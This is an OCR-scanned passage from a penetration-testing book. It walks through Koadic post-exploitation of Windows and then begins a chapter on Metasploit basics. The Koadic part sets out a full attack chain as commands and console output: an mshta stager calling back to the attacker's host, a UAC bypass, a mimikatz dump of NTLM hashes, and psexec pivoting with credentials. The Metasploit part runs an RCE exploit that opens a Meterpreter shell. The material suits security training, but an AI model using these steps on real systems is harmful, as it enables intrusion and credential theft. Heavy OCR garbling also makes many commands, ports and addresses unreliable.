the stage 0 to the second stage and beyond) and it also supports the stager
communication over SSL/TLS, although it depends upon what setting is enabled
on the victim OS.
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Installation

For installation, use the following command to clone the repository from
GitHub:

git clone https://github.com/zerosum0x0/koadic
xAxZombi3xxx:~ Harry$ git clone https://github.com/zerosum
Cloning tnto "koadic'...

remote: Counting objects:

R=I E ;

remote: Total

ving obje

oo B

A quick listing will show the files present in the koadic directory, using the
following command:

|1s -alh



c Harry$ 1s -alh

14 Harry staff 44”E May 14 19:
3 Harry  staff . May 14 1 g
X 2 Harry stoff May 14 1 ait

ke 1 Harry staff 2K May 14 1 .ﬂlflﬂnnr
Harry
Harry
Harry
Harry K May
Harry staff May 14
Harry staff May 14
Harry staff May 14
1 Harry stoff May 14 1
4 Harry stoff May 14 19: C
1 Harry staff 248 May 14 19:03 requirements. txt
coadic Hart rr

—
o S
—
L
—
drun r-xr-x

|j ™

.

e B R B S S

requirements.txt contains the Python packages that are required to run koadic. The
following command can be used to install these packages from requirement. txt:

|sudo pip install -r requirement.txt



ot 2ok 3k koodtc Harry$ sudo pip tnstall -r requirenents, txt
Pssiord.
The drectory '/Users/Horry/LLorary/Coches/mp/itep" or 148 parent dlrectory 15 not owned by
@ JRMILSSLONS and owner of that directory, If executing pip with sudo, you may wont stdo's -
The dtrectory '/Users/Horry/Library/Coches/mp" or 1ES parent directory 15 not owned by the
SSL0nS ond owner of that directory. If executing pip With sudo, you may want sudo's -H flag.
Collecting trpacket (from -r requirements. txt (1ine 1)
Downloadtng https://f11es. pythonhosted. org/packages/ 35/ 72/694c391c rre 200c2cBabdnndrorel
100% | —— ] 0240
Requirement already sotisfied: pyerypto 1n /Library/Pytnon/2. 7/ stte-packages (from -1 reguir
Requirament already sotisfied: pyasnl in /Library/Python/2.7/s1te-packages (fram -1 reguire
(ollecting tobulote (from -r requirements, txt (1ine 4))
Downloading fttps: /71 1es. pythonhosted, org/ packages/ 12/ c2/ 1abB4oaboedf12950c0Rh F4RRC £93
100% | — 0] ]
Installing collected pockages: tmpacket, tobulote
Runntng setup.py nstall for tmpacket ... error
Complete output from comand Jusr/bin/python -u -c "moort setuptools, tokemze;__flle_
126, "open’, open)(__file__);code=f.read().replace("\rn', "n')sf.closel); exec comp [(code
gl1-record, txt --single-verston-externglly-managed - comml
running nstall
running build
running butld_py
creating outld
creating outld/ i
creating outld/ b/ mpacket

Once the installation is complete, you can run koadic by executing the following




command:

| ./koadic

~[ Yersion:
~[ Stagers:

~[ Implants:

koadic: sta/js/mshta’d

Koadic starts with the MSHTA stager as the default stager. The Microsoft
HTML Application (MSHTA) is a full-grown Microsoft Windows HTML
application that is trusted by the developer who creates it. It's like the Internet
Explorer browser but without the user interface or any strict security model. It
displays only a few options, such as menus, icons, title information, and
toolbars.



Why use MSHTA as the dropper
payload?

One of the coolest reasons of using MSHTA for payload delivery is its support
for scripting languages, such as VBScript and JScript, and as it's explained in the
introductory part of this tool, Koadic does not uses PowerShell for post-
exploitation. PowerShell was a really great playground for attackers and red-
teamers for years and like every good playground, there comes a time when it
gets too messy. Nowadays, even if you encode the PowerShell command into
base64 or any other encoder, the payload delivery still gets detected by so-called
AntiVirus with Machine Learning and Artificial Intelligence. The reason for this
is that instead of trying to detect the payload command or the shellcode
embedded in it, the smart AVs detect the intrusion by a mere execution of the
powershell.exe Program.

In a corporate environment, there are times when the servers are not installed
with any AVs and their built-in AV solutions are also disabled (Windows
Defender). Even then, if you try to execute powershell.exe, your execution is
denied by the server because of the hard implementation of the group policies.

Also, there is another issue with payload delivery over PowerShell and that is,
PowerShell itself. The payload will only be able to deliver and execute if
PowerShell supports the functions used in the payload. For example, if the
payload requires you to use PowerShell version 2 but the execution is happening
on Microsoft Windows Server 2003 with only PowerShell version 1 support, the
payload execution will fail. Koadic, on the other hand, relies upon VBScript and
JScript, which are installed from the older version of Windows and are still
supported in the latest version, which makes the payload dropper more reliable
than PowerShell.
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Terminology

Before getting into the details of all the options used in this tool, let's first take a
look at the terminologies of the tool:

e Zombies:

The compromised system that connects back to the Koadic Command
and Control Server. Just like a session is opened in Metasploit, a zombie
will connect back to Koadic.

e Stagers:

The Command and Control web server from where the payload and
implants are fetched by the zombie. Stagers are also used to maintain the
connection between the zombies and Koadic. Note that Koadic does not
rely on TCP connections for continues communication. Instead, the
connection is maintained by requesting multiple HTTP connections.

e Implants:

An implant is a JavaScript or a VBScript code, which is executed by
zombies to perform a certain task. It's the same as the post modules in
Metasploit. Once an implant is chosen to be used by Koadic, the script is
sent over to the zombies and is executed on the system. The fetched
results are then displayed on the Koadic C2 panel.

In Koadic, the implants are categorized as follows: pivot, persistence,
manage, utils, elevate, gather, scan, fun, and inject.

e Jobs:

Whenever the stager (C2) executes an implant (post module) over to the
zombie (compromised system), a job is created in this process by C2. C2
gives the job execute the implant to the zombies and once the job is
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completed, C2 is notified about the completion (also displayed on the C2
panel).

To start with this tool, we can start by first executing a ne1lp command or
we can use a » instead:

fkoadic: sta/js/mshtadd

OESCRIFPTION

mdule aptions
to a different module
2x1ts the program
runs the current module
+urn varbosity off/on: verbose (@110
( 11 to interact with o zombie

omain information
hﬂPlﬂUlH for the current module

:ounduullu
rent module
displays help 1n+u +ur a Lunnmnd

Use "help command" to find more info about a command.

koadic: stadjs/mshta)

The » command will show all the commands that are supported by the
Koadic C2 with their respective descriptions.

To use Koadic, we can follow the given stages for performing a Koadic-
style post-exploitation:



Stager Payload Running

Establishment Execution Implants Piioting

. Stager Establishment: Set up the stager web server where the zombie will
get connected.

. Payload Execution: Drop the payload over to the target server and execute
the payload to get the zombie hooked up by Koadic.

. Running Implants: Execute the implants to get domain information,
SYSTEM access, and NTLM hashes. These can be used for further post-
exploitation.

. Pivoting: Hook the zombie and move around the network through it.



Stager establishment

You need to first configure the stager and get it ready, which can be done by first
setting up the details that are required by the stager. For getting the details, you
can execute the following command: info

This will show the information for the current stager, which can be changed
according to the needs:

(koadic: sto/js/msht)§ info
NANE VALLE REQ DESCRIPTION

SRUROST - 192.168.10.122  ves  Where the stoger should call home
SRVPORT 9949 yes  The port to L1sten for stagers on

EAPIRES I/DD/YYY o stop calling home
KEYPATH Private key for TLS comunications
(ERTPATH Cert1ficate for TLS communications
MODULE Nodule to run once zombie 15 staged

(koadic: sto/7s/mshto)d

We can change the settings using the set command (the same as Metasploit and
Empire). In this case, we will be changing the stager web server port to sese by
executing the following command: set SRVPORT 8080



koudit' *fnf*afm*htu-r et SRVPORT &

REQ DESCRIPTION

SRVHOST - 192.166.10.122  vyes  Where the stager should coll home
SRVPORT 060 yes  The port to Listen for stagers on
EAPIRES o MDD/ to stop calling home
KEYPATH o Privote key for TLS comuntcotions
(ERTPATH o Certificate for TLS comunications
MODULE 0 Module to run once zombie 18 staged

(koadic: sta/1s/mshto)

Now the stager is ready to listen on port sese for reverse connections. To start
with the stager web server, we need to run the server by executing the run
command: Run

(koadic: sta/js/mshtad$ run
[+] Spoawned o stager n+ ther l'i"'l' 168.18. l:-'""'-'"'-1E:l'I1 "MORVS
[|] Don't edit H|1_

[=] mshta http://192.168.10.122: 8080/ MDRVO
(koadic: sta/js/ms hm

The stager web server is successfully started on the local IP 192.168.16.122 and
port sese. Koadic also provides a command (mshta http://192.168.10.122:8080/MDRV9),
which needs to be executed on the target Windows system. As mentioned before,
this tool is not about enumeration or exploitation; it's all about post-exploitation.
But this tool can be used in exploitation when trying to deliver the payload.
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Payload execution

Different means of transport can be used to deliver the payload over to the target
system (MS Word, PDF, EXE, DLL, and so on.) and once the payload is
executed on the target server (in this case, the Koadic stager already has the
command, which will be executed on the system):

E¥ Command Prompt

Microsoft Windows [Version 18.6.16299.371]
(c) 2017 Microsoft Corporation. All rights reserved.

ugsbounty>mshta http://192.168.16.123

o
|
:'

The stager hooks up the zombie. Koadic C2 will be notified when the zombie is
connected. Some system information (such as the IP address, hostname, and
Windows OS version) is also shared between the zombie and the stager:

koadic: sto/Js/mshto)!
forbre 1. Stoging new connection (192.168.10.171)
koadic: sto/js/mshto)d

fombie 1; DESKTOP-MAEV4TENbugsbounty @ DESKTOP-MASYATS -- Windows 10 Education
(koadic: sto/js/mshto)!

To check up on the zombie, you can execute the following command:

| Zombies



koadic:
koadic:
koadic:

(I ¥ I

Zombies

STATUS  LAST SEEN

192.168.10.171 Alive 2018-85-14 20:17:42

This will show the allotted ID by C2 to the zombie, the IP address of the zombie,
the status, and the last seen (just like WhatsApp and FB Messenger)

To get more information regarding a zombie, you can execute zombies <1p>, where
1o is the identification number allotted by C2 to the zombie. In this case, it's 1:
zombies 1

koadic: sto/js/mshto)d zombies 1

1D:
Status: .
Last Seen: Z P5-14 20:18:56

IP: .

User: IESK Bnbugsbounty
Hostname: ]

Primary DC:

0s: Windows 10 Education
0sArch:

Elevated:

User Agent: Mozillo/4.® (compotible; MSIE 7.@; Windows NT 19.@;
" JMET CLR 2.5.38729; In 5
Session Key: 3 44407h30907bd4430 70

JOB  NAME STATUS ERRNO

(koadic: sta/js/mshta)$

As you can see, the information regarding the zombie with ID 1 is displayed. In
the displayed information, there's one thing that we need to focus on; that is, the
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Elevated Status.

Currently, the elevated Status says no, which means it's not running with svstem
privileges but we can achieve system level privs by executing an implant.
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Running Implants

In this case, the bypassuac_eventvwr implant is used for escalating the privileges
from ring 3 (user land privs) to system. To use an implant, you can execute the
following command: use implant/elevate/bypassuac_eventvwr

The option is changed from stager to the implant now and just like we did it
when configuring the stager, we need to configure the implant before executing
it.

We can find the options by executing the following command:

Info

_koadic: =
koadic: 1mp. ypassuac_eventwwr)t: 1nfo

NAME YALIE

PAYLOAD run payloads for a 1ist
fOMBIE ALL Yas zombie to torget

This will show two options that need to be configured for a successful implant
execution: ravioap and zomsie. To set up the payload, execute the following
command: set payload 0

ds for g list
the zombie to target

(koadic. imp/ele/bypassuac_eventvwr
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The question here is, why did we set the payload to ¢? For understanding this, we
need to reference the value from the Listeners command:

Listeners

koadic:
koadic:

.,_.
—r

i

Use "listeners ID" to print a paylood

koadic:

The 1isteners command will list down all the stagers running. So, when the
payload is set to o it means the payload will be using the given stager ID o; that
is, the MSHTA stager for implant delivery over to the zombie for execution.

The implant is now ready to be executed on the target system:

| Run



koadic: 1mp/ele/
fombie 1:
| Zombie 1:

;knﬂdiC1 imp/ele/by

(koadic: imp/ele/bypassudc_esventvwr

At the time of execution, a new connection is created with the elevated
privileges with zombie ID 2. On getting the information regarding the elevated
connection, we can see clearly that the privileges were escalated with the = on
the user field. The same is mentioned on the ID as well:

Status:
Last Seen:

IP:

User:
Hostname:
Primary DC:

0%: ows 1@ Education
0sArch: o
Elevated: YES

User Agent: Mozilla/4.@ (compatible; MSIE 7.0
3.0.30729; .NET CLR 3.5.30729; InfoPath.3)

We can either use the implant for dumping hash or we can use mimikatz. Koadic
supports mimikatz by injecting the DLL into the memory directly. To use mimikatz,
run the following command: use implant/inject/mimikatz_dynwrapx



“koadic: sto/s/mshto)$ use implant/inject/mimi katz_dymeraps
koadic: imp/inj/mimikatz_dymerapx)% info

YALLIE REQ DESCRIFTION

DIRECTORY  WTEMF% no
MIMICMD sekurlsad:: logonp. .. yes
JOMBIE ALL

Ckoadic: imp/ing/mum katz_dyrmraps )

You can run it directly without changing any settings:

| run



Koadic: wnp/m)/mmkatz_dynwn L" run

fobue 1 Job Hl le It/ingect/mmkotz_dymirapy) conpleted,
Koadic; imp/ty/mimkatz_cyminapy ruu
| Zonne 1 Jog Hl le nt/in

J
J
i
Ject

7. dymirgpy) Results

sy credentials

Isernare— Domoin NTLH HAl
pugsbounty  DESKTOP-WAGVATE  32edBbabtacoedehofBidr 37081004 Geddddict3nchoe

tspkg credentials

Isernare— Domoin Possiord
pugsbounty  DESKTOP-NABVATE _THAL_{GBED0CF-DAER-ACE-Ar70-AFSIZECATCS)

lllml_]ﬂﬁ.f credentiols

By running the implant, we were able to fetch the NTLM hashes, which can
further be used in pivoting.

To execute a command on a zombie we can use the exec_cnd implant, which can
be run by executing the following command:

| use implant/manage/exec_cmd



ser_hunter)$ u

1nfo

‘koadic: 1mp/got/ 58

‘koadic: 1mp/man/exec_cmd)$

NAME WALLE
hostname
true
HTEMP%
ALL

OUTPUT
DIRECTORY
JOMBETE

1mplant/manage/ exec_cmd

RED) DESCRIPTION

command o run

retrieve output?

writeable ﬂlFHlTHP' for HHTpHT
the zombie to target

cvp option is the command that you want to execute. This implant will execute
the command and save the result in a file that will be stored on the %remps
directory (as mentioned in the implant settings). We can change the directory
accordingly but make sure the directory is writeable.

In this case, we will be executing a command to get the list of users on the

system by Setting cmd tO net user:

set cmd "net user"
(koadic: i1mp/man/exec_
MDD == "net L "
“koadic: 1 '

cmd’”
cmd g

[+] fombie 1:
Ckoadic: 1mp/mar
Fesult for “"net

{(koadic: imp/man/ L 'nﬂ

User accounts for

dw+nu1tu~

I 1'|:| el |_|t1 ]. 1

cmd *

LN
plant/managesexeac

cmdy created.
—omdy completed.

» I"LIN

SMOESKTOP-MABYATE




Pivoting

We now have access to the 192.168.10.171 system and using the credentials of this
system, we can move around in the network and try to access another system
that is in the same network. However, for this to work, we need to know the
services running on the system. For this, we can use the tcp scanner implant for
port scanning, which can be done by running the following commands:

use implant/scan/tcp

info

set rports 135,139,445

set rhosts 192.168.10.130
set zombie 0

koadic: =to/7js/mshto)% use implant/scan/tcp
koadic: imp/sca/tc) 1nfo

NAME ALL REQ DESCRIPTION

of the
JRTS et e 130 A0 . I 0 SCan
TIMEOUT ’ MO
ZOMBIE

rports 135,139,445
rhosts 192.168.10.130

zombie @

Z0MBIE —» €

The implant is ready to roll! Now we just need to run it:

| run



LM/ SCas Tep LN
B: Job 1 (imple
@: Job 1 (imple

500 run
» Job 1 (implant/scan/tcp) 192
ca/ run
1 (implant/scan/tcp)
run

The mentioned ports are open, which means we can access the Remote
Procedure Call (RPC) server on port 445 of this system. The main idea here is to
access the RPC server to execute remote commands to execute our given stager
command, which will get us the reverse connection over MSHTA. For this, we
can use the exec_psexec implant and set the cnd to
mshta http://192.168.10.122:9999/fcLYN, Which will execute our stager command on
the given internal system:

use implant/pivot/exec_psexec

info
set cmd "mshta http://192.168.10.122:9999/fGLYN"

koadic: imp/piv/st i
koadic: imp/plv/stage_wm)$ use implant/pivot
koadic: imp/pilv/exec_psexec)$ info

NAME ALl RED

hostname WEs cammand to run
'IP of the remote
name for lﬂgiﬂ
£ el lﬂgiﬂ
n for lﬂgiﬂ

CREDID

RPATH Wiy 1ve.sysinte. .. : : )

DIRECTORY — STEMPY i a | y for output
ZOMBIE ALL Yes Mo

We also need to give the credentials for it:

|set smbuser administrator



set smbpass 123456
set zombie 1

koadic: plyv/exac_psaxec
SMBUSER == administrator
SMBPA =

koadic: imp/pilv/exec_psexec set zomblie 1
ZOMBIE == 1

smbuser administrator

set smbpdss 123456

The implant is ready to run, so let's run it:

Run

koadic: imp/piv/exec_psexe PN
Zomble 10 Job 1 mplant/piyvot,
fombie 1: Job 18 (implaont/pivot/

koadic: imp/piv/exec_ps LN

Zomble ¢£: Staging new connection (192.168.10.13@)
koadic: Pl ex
Zombie Z2: DESKTO Fofficetes AKZ484F —- Windows 1@ Pro
koadic: :

As you can see from the preceding output, when we run the implant, it executed
our given cwo to get hooked up by our stager.

Checking on all the zombies, we can see clearly that we now have access to
192.168.10.130 as well:



s on a particular Windows domain.
s killed" fo ons that have been manually killed.

koadic:

Using Koadic can be chaotic, depending upon the imagination of the user.



Summary

Let's quickly summarize what we have worked on until now. At the beginning of
this chapter, you were introduced to MSF Payload Creator (MSFPC) and the
steps to install MSFPC on the system. We looked at the use of resource files
(.rc), which were generated by MSFPC besides the payload file. Different types
of payload generation were presented, according to the scenario; that is, the type
of shell dropped by the payload (cmd or nsf), the type of payload connection used
(bind versus reverse), the type of payload (staged or stageless), the
communication method (tcp/http/https/find_ports), and the modes used for mass
payload generation (batch mode or loop mode).

In the latter part of this chapter, you were introduced to Koadic, a C3 server, its
installation and usage, and the stages for performing a Koadic-style post-
exploitation.



Questions

ok

Why use MSFPC when you can use nsfvenom?

Should we expect new features in MSFPC?

Where can we use the 100p and batch modes in a real-world scenario?

Is MSFPC already installed in Kali Linux?

Why use Koadic when you can use Empire and Metasploit?

There's not many modules (implants) in Koadic as compared to metasploit
or Empire. Why is that?

What else can we use instead of these boring command-line tools?



Further reading

For more information on the topics discussed in this chapter, please visit the
following links:

e MSFvenom Payload Creator (MSFPC) https://github.com/g0tmilk/mpc

® https://null-byte.wonderhowto.com/how-to/simplify-payload-creation-with-msfpc-msfven
om-payload-creator-0180240/

e MSFPC: https://tools.kali.org/exploitation-tools/msfpc

e MSFvenom Payload Creator (MSFPC) https://www.yeahhub.com/msfvenom-payl
oad-creator-msfpc-installation-usage/

e Koadic: koadichttps://github.com/zerosuméx6/koadic

® https://null-byte.wonderhowto.com/how-to/use-koadic-command-control-remote-access-to
olkit-for-windows-post-exploitation-0181742/

e Penetration Testing Lab: https://pentestlab.blog/tag/koadic/

° Hunting for Koadic — a COM-based rootkit: nttps://countercept.com/our-thi
nking/hunting-for-koadic-a-com-based-rootkit/

¢ Koadic: An Advanced Windows JScript/VBScript RAT!: nttp://pentestit
.com/koadic-advanced-windows-jscript-vbscript-rat/

° Koadic, or COM Command & Control: https://www.peerlyst.com/posts/bsides
1lv-2017-koadic-c3-windows-com-command-and-control-framework-by-zerosumox0-and-aleph_

__naught-zerosumOxo
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Foreplay - Metasploit Basics

Metasploit is the first tool that comes to mind whenever we think about
pentesting or exploitation. The Metasploit framework is a sub-project of the
Metasploit project. This helps us by providing information about vulnerabilities,
as well as helping us with penetration testing.

Metasploit first came out in 2003. It was developed by H.D. Moore but was later
ported to Ruby by 2007. By October 2009, Rapid 7 acquired the Metasploit
project. After this, Rapid 7 added Metasploit Express and Metasploit Pro,
commercial versions of the product, and then the evolution of the Metasploit
framework began.

The Metasploit framework is still an open source framework that allows us to
write, test, and execute exploit code. It can also be considered a collection of
tools for pentesting and exploitation.

In this chapter, we will cover the basics of installing and using the Metasploit
framework along with Armitage.

In this chapter, we will cover the following topics:

A quick tour of Metasploit
Running Metasploit
Armitage and team server
Armitage with slack
Armitage and Cortana scripts



Technical requirements

Metasploit Framework (MSF)
Postgres (PGSQL)

Oracle Java 1.7 or later
Armitage



Installing Metasploit

Before proceeding with the usage, let's take a look at a quick installation guide.
Windows and macOS already have installers available for Metasploit that are
available here: https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers

Installing on Linux is easy and can be done by using the following command:
curl https://raw.githubusercontent.com/rapid7/metasploit-
omnibus/master/config/templates/metasploit-framework-
wrappers/msfupdate.erb > msfinstall & & \ chmod 755 msfinstall & &\
J/msfinstall

MacBook-Air:~ Himanshu$ curl https://raw.githubusercontent.com/rapid7/metasploit
-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > m
sfinstall && \

> chmod 755 msfinstall && 3\

> . /msfinstall

% Total % Recelved % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 5525 100 5525 0 @ 4725 0 0:00:01 0:00:01 ——:——:—— 4730
Switching to root user to update the package
Password:



https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers

Running Metasploit

Once the installation is done, running Metasploit is pretty simple. To do this, we
type the following command in the Terminal: msfconsole

~ — BugsBounty.com — ruby « msfconsole

=[ metasploit v4.17.2-dev-b9192d1bdb51ddd19009d2cT3df787193ede7160]
+ == ===[ 1791 exploits - 1019 auxiliary - 311 post ]
+ == ===[ 538 payloads - 41 encoders - 10 nops ]
+ == ===[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

sT >

After doing this, we should see that the Metasploit framework is up and running.



When the msfconso1e is loaded for the first time, it asks and automatically creates a
database using PostgreSQL for use. This database is used to store the data
collected from our scans, exploits, and so on. Every week, new exploits and
other modules get added to Metasploit, so it's best that we update it every
fortnight. This can be done by using the following command: msfupdate

MacBook-Air:~ Himanshu$ msfupdate
Switching to root user to update the package

Password:
Downloading package...
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total  Spent Left Speed
1 148M 1 2944k o] B 35Bk B B:B7:02 0:00:BE ©:B6:54 570k

We now run the ne1p command to see the different features and its usage. Let's go
through the basic terminology of Metasploit.



Auxiliaries

The Metasploit framework is equipped with hundreds of auxiliaries that can be
used to perform different tasks. These modules can be considered as small tools
that do not exploit anything but aid us in the exploitation process. To view a list
of all the auxiliaries, we can use the following command:

| show auxiliary



msf encoder(cmd/powershell_basefd) > show auxiliary

Auxiliary

Name Disclosure Date Rank

admin/2wire/xs1t_password_reset 2BR7-BE-15 normal
admin/android/google_play_store_uxss_xframe_rce normal
admin/appletv/appletv_display_image normal
admin/appletv/appletv_display_video normal
admin/atg/atg_client normal
admin/aws/aws_launch_instances normal
admin/backupexec/dump normal
admin/backupexec/registry normal
admin/chromecast/chromecast_reset normal
admin/chromecast/chromecast_youtube normal
admin/cisco/cisco_asa_extrabacon normal
admin/cisco/fcisco_secure_acs_bypass normal
admin/cisco/vpn_30@8@8_ftp_bypass 2006-RE-23 normal
admin/db2/db2rcmd 2084-03-04 normal
admin/dns/dyn_dns_update normal
admin/edirectory/edirectory_dhost_cookie normal
admin/edirectory/edirectory_edirutil normal
admin/emc/alphastor_devicemanager_exec 2BRB-B5-27 normal
admin/emc/alphastor_librarymanager_exec 20BB-B5-27 normal
admin/firetv/firetv_youtube normal
admin/hp/hp_data_protector_cmd 2811-82-87 normal
admin/hp/hp_ilo_create_admin_account 2817-88-24 normal
admin/hp/hp_imc_som_create_account 2813-1p-08 normal
admin/http/allegro_rompager_auth_bypass 2814-12-17 normal
admin/http/arris_motorola_surfboard_backdoor_xss 2015-84-08 normal
admin/http/faxigen_file_access 2012-18-31 normal
admin/http/cfme_manageiq_evm_pass_reset 2813-11-12 normal
admin/http/cnpilot_r_cmd_exec normal

We will look at an example of running an auxiliary that runs a version scan on
the SMB service and tells us the OS that is installed on the system we ran the
auxiliary on. To choose the auxiliary, we type in the following command:

| use auxiliary/scanner/smb/smb_ms17_101

We can see more information about what this auxiliary does by typing the
following:
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| show info

msf auxiliary{scanner/smb/smb_msl7_018) > show info

Name: M517-81@ SMB RCE Detection
Module: auxiliary/scanner/smb/smb_ms17_@10
License: Metasploit Framework License (BSD
Rank: Normal

Provided by:
Sean Dillon <=sean.dillon@risksense.com>
Luke Jennings

Basic options:

Name Current Setting Required Description

CHECK_ARCH true no Check for architecture on vulnerable hosts

CHECK_DOPU true no Check for DOUBLEPULSAR on wvulnerable hosts

CHECK_PIPE false no Check for named pipe on vulnerable hosts

NAMED_PIPES /Jopt/metasploit-framework/embedded/framework/data/wordlists/named_pipes.txt vyes List of named pipes to check

RHOSTS YEs The target address range or CIDR identifier

RPORT 445 yes The SMB service port (TCP)

SMBDomain . no The Windows domain to use for authentication

SMBPass no The password for the specified username

SMBUser no The username to authenticate as

THREADS 1 yes The number of concurrent threads
Description:

Uses information disclosure to determine if M517-818 has been
patched or not. Specifically, it connects to the IPC$ tree and
attempts a transaction on FID @. If the status returned is
"STATUS_INSUFF_SERVER_RESOURCES", the machine does not have the
M517-81@ patch. If the machine is missing the M517-810 patch, the
module will check for an existing DoublePulsar (ring @
shellcode/malware) infection. This module does not require wvalid SMB
credentials in default server configurations. It can log on as the
user "\" and connect to IPC$

References:
Also known as:
Also known as:
https://cvedetails.
https://cvedetails
https://cvedetails
https://cvedetails

DOUBLEPULSAR

ETERNALBLUE

com/cve/CVE-2017-0143/

com/cve/CVE-2017-0144/

comfcve/CVE-2817-0145/

com/cve/CVE-2817-0146/

https://cvedetails. com/cve/CVE-2817-0147/

https://cvedetails. com/cve/CVE-2817-0148/
https://technet.microsoft.com/fen-us/library/security/M517-0818
https://zerosum@x®.blogspot.com/2@817/04/doublepulsar-initial-smb-backdoor-ring.html
https://github.com/countercept/doublepulsar-detection-script
https://technet.microsoft.com/en-us/library/security/ms17-810.aspx

Now we can see the options to check all the requirements of this auxiliary by
inputting the following:

| show options
msf auxiliary{scanner/smb/smb_msl7_01@) > show options

Module options {auxiliary/scanner/smb/smb_ms17_0818):

Name Current Setting Required Description

CHECK_ARCH true no Check for architecture on vulnerable hosts
CHECK_DOPU true no Check for DOUBLEPULSAR on vulnerable hosts
CHECK_PIPE false no Check for named pipe on wvulnerable hosts
NAMED_PIPES Jopt/metasploit-framework/embedded/framework/data/wordlists/named_pipes.txt vyes List of named pipes to check

RHOSTS yes The target address range or CIDR identifier
RPORT 445 yes The SMB service port (TCP)

SMBDomain . no The Windows domain to use for authentication
SMEPass no The password for the specified username
SMBUser no The username to authenticate as

THREADS 1 yes The number of concurrent threads

Here, we can see that this auxiliary requires the value of the remote host of rHosts
and the number of threads. This can be increased if we plan to use this across a
subnet. We set the value of r1osts by using the following command:

| set RHOSTS <IP HERE>

We then run the auxiliary and this will show us whether the system is vulnerable
to Eternal Blue and Eternal Romance, as well as whether it is already
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backdoored:

msf auxiliary({scanner/smb/smb_msl17_818) > run

[+] 172.29.64.115:445 - Host is likely VULNERABLE to MS17-818! - Windows Server 2808 R2 Standard 7600 x64 (64-bit)
172.29.64.115:445 - Host is likely INFECTED with DoublePulsar! - Arch: x64 (64-bit), XOR Key: @x5BBB3771

[*] Scanned 1 of 1 hosts (180% complete)

[*] Auxiliary module execution completed



Exploits

When Metasploit starts up, it shows the count of the publicly available exploits
that are already available in the framework An exploit can be considered as the
piece of code that takes advantage of a vulnerability and gives us the desired

output.

To view all the available exploits, we use the following command:

| show exploits

msf = show exploits

Exploits

Name

aixflocal/ibstat_path
aix/rpc_cmsd_opcode2l
aix/rpc_ttdbserverd_realpath
android/adb/sadb_server_exec
android/browser/samsung_knox_smdm_url
android/browser/stagefright_mpd4_tx3g_B4bit
android/browser/webview _addjavascriptinterface
android/fileformat/adobe_reader_pdf_js_interface
android/local/futex_requeue

android/ local/put_user_vroot
apple_ios/browser/safari_libtiff
apple_ios/browser/webkit_trident
apple_ios/femail/mobilemail_libtiff
apple_ios/sshfcydia_default_ssh
bsdi/fsoftcart/mercantec_softcart
dialup/multiflogin/manyargs
firefox/localfexec_shellcode
freebsd/ftpsproftp_telnet_iac
freebsd/http/watchguard_cmd_exec
freebsd/local/mmap

freebsd/ local/watchguard_fix_corrupt_mail
freebsd/misc/citrix_netscaler_soap_bof
freebsd/sambastransZopen
freebsd/tacacs/xtacacsd_report
freebsd/telnet/telnet_encrypt_keyid

Disclosure Date
2013-09-24
2BRo-10-87
Z0RS-86-17
Z2016-01-01
2814-11-12
Z2015-8B-13
2012-12-21
2014-04-13
Z2014-85-83
2013-00-B6
ZORE-DE-B1
ZB16-BB-25
ZBRE-DE-B1
Zoey-a7-B2
Z0R4-pE-19
20@1-12-12
Z2014-03-10
2019-11-01
2015-06-29
ZB13-86-18
2015-06-29
2014-00-22
Z0B3-04-87
Z0RE-D1-BB
2011-12-23

Rank
excellent
great
great
excellent
excellent
normal
excellent
good
excellent
excellent
good
manual
good
excellent
great
good
excellent
great
excellent
great
manual
normal
great
average
great

The preceding command will show a list of all the available exploits in the
Metasploit Framework, along with path, disclosure date, its ranking, and even
description. Using the exploit is similar to using an auxiliary. Let's look at an
example of an RCE exploit that was found on the HP Data Protector.
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Metasploit allows us to search the modules as well, using the following
command: search < module name>

sf = search hp_data

Matching Modules

Name Disclosure Date Rank
auxiliary/admin/hp/hp_data_protector_cmd 2011-02-87 normal
auxiliary/dos/hp/data_protector_rds 2811-81-88 normal
exploit/linux/misc/hp_data_protector_cmd_exec 2011-82-87 excellent
exploit/multi/misc/hp_data_protector_exec_integutil 2014-19-82 great
exploit/windows/misc/hp_dataprotector_cmd_exec 2014-11-02 excellent
exploit/windows/misc/hp_dataprotector_crs 2013-06-03 normal
exploit/windows/misc/hp_dataprotector_dtbclslogin ZB18-a0-89 normal
exploit/windows/misc/hp_dataprotector_encrypted_comms 2016-84-18 normal
exploit/windows/misc/hp_dataprotector_exec_bar 2014-81-82 excellent
exploit/windows/misc/hp_dataprotector_install_service 2011-11-82 excellent
exploit/windows/misc/hp_dataprotector_new_folder 2812-83-12 normal
exploit/windows/misc/hp_dataprotector_traversal 2B14-81-82 great
exploit/windows/misc/hp_omniinet_3 ZB11-86-29 great
exploit/windows/misc/hp_omniinet_4 2811-86-20 good

f =

To use one of the modules, we type the following:

| use exploit/windows/misc/hp_dataprotector_cmd_exec

msf = use exploit/windows/misc/hp_dataprotector_cmd_exec

Once the exploit is loaded, we see the following options:



msf exploit{windows/misc/hp_dataprotector_cmd_exec) > show options

Module options (exploit/windows/misc/hp_dataprotector_cmd_exec):

Name Current Setting Required Description

FILE_NAME na OLL File name to share

RHOST yES The target address

RPORT 5555 Yes The target port (TCP)

SHARE no Share (Default Random)

SMB_DELAY 15 yES Time that the SMB Server will wait for the
SRVHOST 0.0.0.8 YES The local host to listen on. This must be
SRVPORT 445 yES The local port to listen on.

We set the IP of the ruost using the set command:

| set RHOST <IP Here>

And then we run it:

msf exploit{windows/misc/hp_dataprotecter_cmd_exec) = run

[#] Started reverse TCP handler on 172.27.192.3:4444

[#] 172.27.188.49:5555 - Server started.

[#] 172.27.188.49:5555 - File available on M\172.27.1092. \wslah\LWGok.d11...

[#] 172.27.188.49:5555 — Trying to execute remote DLL...

[#] Sending stage (179779 bytes) to 172.27.108.49

[+] Meterpreter session 1 opened (172.27.192.3:4444 —= 172.27.100.49:57518) at 2
B1B-PE-25 B1:56:18 +@538

[#] 172.27.188.49:5555 - Server stopped.

meterpreter = D
Running this exploit requires Metasploit to be run as root, as port 445 is considered a
privileged port to which this exploit is bound.



Payloads

A payload is a piece of code that is delivered to the target system or an
application via an exploit to perform an act of our choice. Payloads can actually
be divided into three main types: singles, stagers, and stages. These can be
defined as follows:

Singles: These payloads are standalone and are usually used to perform
simple tasks, such as opening notepad.exe, adding a user, and so on.
